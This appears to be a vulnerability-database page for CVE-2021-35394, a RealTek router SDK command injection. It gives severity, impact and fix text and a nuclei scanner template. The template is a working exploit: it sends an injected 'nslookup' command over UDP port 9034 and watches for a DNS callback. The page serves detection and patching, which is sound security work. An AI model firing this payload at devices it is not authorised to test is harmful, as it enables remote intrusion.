HexBrain

Browse / CVEs / CVE-2021-35394

CVE-2021-35394

RealTek AP Router SDK - Arbitrary Command Injection

Exploited in the wild. Listed by CISA on 2021-12-10; known to be used by ransomware.

criticalseverity
99.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The SDK exposes a UDP server that allows remote execution of arbitray commands.

Impact

Attackers can execute arbitrary commands remotely through the exposed UDP server port by sending specially crafted commands to RealTek AP Router SDK devices.

Fix

Apply the latest security patches or updates provided by RealTek.

How to confirm it

Positive when: contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2021-35394 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-35394

info:
  name: RealTek AP Router SDK - Arbitrary Command Injection
  author: king-alexander
  severity: critical
  remediation: Apply the latest security patches or updates provided by RealTek.
  description: The SDK exposes a UDP server that allows remote execution of arbitray commands.
  impact: |
    Attackers can execute arbitrary commands remotely through the exposed UDP server port by sending specially crafted commands to RealTek AP Router SDK devices.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35394
    - https://blogs.juniper.net/en-us/threat-research/realtek-cve-2021-35394-exploited-in-the-wild
  classification:
    epss-score: 0.99873
    epss-percentile: 0.99963
  tags: cve,cve2021,realtek,rce,kev,vkev,vuln

javascript:
  - pre-condition: |
      isUDPPortOpen(Host,Port);
    code: |
      let packet = bytes.NewBuffer();
      let message = `orf;nslookup ${OAST}`
      let data = message;
      packet.WriteString(data)
      let c = require("nuclei/net");
      let conn = c.Open('udp', `${Host}:${Port}`);
      conn.SendHex(packet.Hex());

    args:
      Host: "{{Host}}"
      Port: 9034
      OAST: "{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

References

Use this check only on systems you are authorised to test. Where the data comes from